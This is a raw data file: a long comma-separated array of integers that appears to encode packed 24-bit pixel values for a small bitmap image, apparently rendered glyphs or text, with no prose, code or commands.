1,16777142,6684672,0,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,0,6731519,16758374,0,14992,14417919,11953664,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,0,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,26294,16777142,6684672,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,58,9493503,16767888,6699578,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,58,9493503,16767888,6699578,0,0,0,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,102,11993087,16777215,16777215,16777215,11953664,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,26294,16777142,6684672,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,26294,16777142,6684672,3838171,16767888,3801088,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,102,11993087,11953664,0,102,11993087,11953664,0,26294,16777142,6684672,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,102,11993087,11953664,0,6731519,16767888,3801088,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,6731519,16758374,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,102,11993087,11953664,6731519,14389306,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,26294,16777142,6684672,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,3816080,11993087,16758374,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,102,11993087,11953664,0,14992,14417919,11953664,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767926,11983871,11953664,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,6731519,16758454,11993051,9452032,0,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,102,11993087,11953664,0,0,6731519,16777142,6684672,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,14906,6710842,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,102,11983871,16777215,16777215,14399078,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,58,3815994,3816080,14417883,9452032,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816080,14417883,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6710842,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0